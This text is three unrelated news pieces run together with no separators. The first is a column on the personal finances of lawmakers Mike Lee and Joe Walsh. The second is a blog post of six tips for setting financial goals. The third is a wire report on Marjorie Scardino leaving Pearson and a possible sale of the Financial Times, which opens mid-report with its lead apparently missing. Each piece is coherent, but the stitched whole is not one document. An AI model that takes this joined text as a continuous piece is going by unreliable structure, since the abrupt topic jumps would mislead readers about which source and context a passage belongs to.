Senator Mike Lee, a Republican from Utah who may have the lowest net worth of the 100 senators, sold his home in a short sale. I hoped to speak to him about it, but his media representative, Brian Phillips, said in an e-mail that my column idea “has to be the silliest thing I’ve ever heard.”

Then there is Representative Joe Walsh, a freshman Republican who represents the suburbs northwest of Chicago. He proudly claims the mantle of America’s poorest congressman, telling Chicago magazine that he’s “No. 1 in poverty.” In the last few years, he’s had to answer for his tax liens, a foreclosure and an accusation that he owed more than $117,000 in past-due child support.

What do we see of ourselves in him? And what does his opponent’s efforts to brand him a deadbeat tell us about what we ought to be willing to tolerate in our elected officials?

There isn’t much in the historical record on these questions, but one example from 20 years ago is instructive. That was when the public learned that many members of Congress were helping themselves to free overdrafts from banklike government accounts.

Voters who had no such privileges at their own local banks weren’t pleased. Within one election cycle, according to Gary C. Jacobson, a political science professor at the University of California, San Diego, and Michael A. Dimock, then a graduate student at the university, who later published an academic paper about the scandal, the worst abusers were about three times as likely not to be in Congress anymore as incumbents who steered clear of the issue. This was equally true of Republicans and Democrats, though Democrats were the more egregious of the two parties in this instance.

It wasn’t until after Mr. Walsh won his Republican primary in 2010 that some of his biggest financial troubles emerged. He triumphed with the help of strong Tea Party backing. And given his call for fiscal restraint, it was only natural that local reporters would look at his personal finances.

Sure enough, right after the primary, The Daily Herald discovered that Mr. Walsh had recently lost a condominium to foreclosure. “This experience helped me gain a better appreciation for the very real economic anxieties felt by Eighth District families, many of whom are just a paycheck or two away from facing similar difficulties,” Mr. Walsh told the paper via e-mail.

Voters fed up with the goings-on in Washington seemed to empathize with this and revelations of tax liens he dealt with more than a decade ago, or at least they were willing to hold their noses and look past it. He beat the Democratic opponent in his race by just a couple of hundred votes.

But the revelations didn’t end there. Last year, The Chicago Sun-Times reported that Representative Walsh’s former wife had filed court papers seeking more than $117,000 in what she claimed was past-due child support. She also said that he failed to make his payments at the same time that he was personally lending money to his campaign, putting politics over paternity, in effect. Representative Walsh countered that there was a verbal agreement between him and his former wife that allowed him to skip the monthly payments because he wasn’t earning much money at the time.

Earlier this year, the two resolved the dispute and issued a joint statement saying that “we now agree that Joe is not and was not a ‘deadbeat dad’ and does not owe child support.”

At the time of the initial revelation, Representative Walsh’s lawyer, R. Steven Polachek, told The Sun-Times that he’d “had no more problems with child support than any other average guy.”

About 40 percent of the 500,000 or so child support cases that the Illinois Department of Health Care and Family Services handles involve late payments at any given moment. The half-million cases tend to involve households with lower income, according to a spokesman, where there may be more frequent income disruptions.

Whether the questions about Representative Walsh’s child support make him Everyman or not, however, it’s the original suggestion that he prioritized his campaign over his children that may give voters the most pause.

Bucks: Six Tips for Setting Your Financial Goals

Carl Richards

Carl Richards is a certified financial planner in Park City, Utah, and is the director of investor education at BAM Advisor Services. His book, “The Behavior Gap,” was published this year. His sketches are archived on the Bucks blog.

If you managed to get unstuck and created your personal balance sheet recently, then you should have a really clear idea of where you are today. The next questions you need to be address are these: Where do you want to go? What are your financial goals?

This can be a frustrating process, since it involves making some really important decisions under extreme uncertainty. None of us know what next week will look like, let alone where we will be in 30 years. On top of that, making financial goals involves a whole bunch of assumptions — guesses, really.

We have to guess what our 60- or 80-year-old self will want to do. We have to guess what the markets will do, where interest rates will be and how much we can save. Those reasons and many more often lead us to forget that this is a process. We get stuck, unsure what to do next.

Well, despite all the uncertainty and assumptions, we need to have goals. It reminds me of the conversation between Alice and the Cheshire Cat:

“Would you tell me, please, which way I ought to go from here?”

“That depends a good deal on where you want to get to,” said the Cat.

“I don’t much care where,” said Alice.

“Then it doesn’t matter which way you go,” said the Cat.

“— so long as I get somewhere,” Alice added as an explanation.

“Oh, you’re sure to do that,” said the Cat, “if you only walk long enough.”

But the problem is that we do care where we end up, and part of deciding where to go depends on setting goals.

So there are a few really important things to keep in mind here. Before you get too excited or frustrated, here are a few things to consider.

1. These are guesses. 

While it is important to admit these are guesses, you should still make them the best guesses you can. Be specific. Just saying, “I want to save for college for my kids,” isn’t enough. How about, “I’ll find $100 to add to a specific 529 account on the 15th of each month”?

Even though you need to be specific, give yourself permission to be flexible. An attitude of flexibility goes a long way toward dealing with uncertainty. There is something very powerful about having specific goals but not obsessing about them.

2. These goals will change.

It’s a continuing process, and it will change because life changes. But don’t let this knowledge stop you from doing it. You need to start somewhere.

3. Think of these goals as the destination on a trip.

You would never spend a bunch of time and energy worrying about whether you should take a car, train or plane without first deciding where you are going. Yet we spend countless hours researching the merits of one investment over another before we even decide on our goals. Why are you stressing about what stocks to pick if you don’t have goals in mind?

4. Prioritize these goals.

Once you have them all written down, rank each goal in terms of importance and urgency. Sometimes you will have to deal with something that is urgent, like paying off a credit card bill, so you can move on to something really important, like saving for retirement.

5. This is a process.

If you set goals and then forget about them forever, that is a worthless event. This is a process. Since we’ve given ourselves permission to change our assumptions about the future as more information becomes available, we need to do it. Part of the process of planning involves revisiting your goals periodically to see how you are doing and making course corrections when needed.

6. Let go!

As important as it is to regularly review your progress, it’s also very important to let go of the need to obsess over your goals. Define where you want to go, review your goals at set times, and in between, let go of them! Goals for the future are important, but so is living today. Find that balance.

This list may not seem like a big deal, but you would be surprised at the number of people who cannot tell you their goals, let alone break them down into categories or rank their priority. Once you have your goals, you will be able to move on to the next step: making a plan.

Pearson Chief’s Departure Could Lead to Sale of Financial Times

The first female chief executive of a FTSE 100 company had previously declared that the famous pink-paged FT title would only be sold "over my dead body". The FT Group also holds a 50 percent stake in the Economist.

She will step down at the end of the year to be replaced by John Fallon, the chief executive of Pearson's international education division since 2008.

Analysts said the choice showed where the group's priorities lie and that the 50-year-old Fallon would now have to also focus on the large education business in the United States, which has been hit by tight school budgets.

"Ms Scardino was a big fan of the FT and resisted attempts to sell the business," Ian Whittaker at Liberum said. "We see John Fallon as having no emotional commitment to the division. We value the FT Group at around 770 million pounds."

Shares in the group were down 0.6 percent, slightly underperforming a flat FTSE Index.

Both Bloomberg and Thomson Reuters have been linked with a purchase of the FT Group in the last year but analysts note that Pearson has a strong balance sheet and would only need to sell the FT if it needed the money for a large and transformational deal.

Although the FT Group has succeeded in growing digital sales and subscription revenues, a sale of the title would still fit with the group's wider strategy of moving away from volatile advertising revenues.

Investors could also question the future of the book group Penguin within the wider firm as some analysts believe it also fails to support the growth of the dominant education division.

Scardino, one of the longest serving bosses of a FTSE company, transformed a diverse set of assets into a successful global educational and media business.

"She navigated two recessions, one financial crisis, a dot com boom and bust and several waves of structural industry change," Pearson chairman Glen Moreno said.

"Not only are Pearson and Marjorie still around to tell the tale but over the past 16 years our ... profits have hit last year's all time high."

EVER-CHANGING PORTFOLIO

During her tenure, Scardino led a string of major deals.

In her early years she sold off such leisure attractions as Madame Tussauds and Alton Towers, stakes in BSkyB and investment bank Lazard before selling in more recent years a stake in Interactive Data Corp and a 50 percent stake in the FTSE International.

The numerous disposals have allowed it to expand its education and testing business around the world. The group has tripled sales to nearly 6 billion pounds under Scardino's watch and grown profits more than three times to a record high of 942 million pounds in 2011.

The Pearson share price has risen by 88 percent since Scardino took over in 1997, compared with the FTSE All-share Media index which is up 8 percent in the same period.

"We question whether Penguin and FT Group fit strategically, given Pearson's skew to education," Investec analyst Steve Liechti said. "Fallon is not a life-long publisher, so could be more brutal in his strategic direction in time, and shareholders would push for asset sales and cash returns in our view."

Chairman Moreno said he did not see the new appointment as a signal for a change in strategy. But analysts warned that the new appointment could lead to further changes within senior management, if executives overlooked for the top job decide to move on.

(Reporting by Kate Holton; editing by Keith Weir and Anna Willard)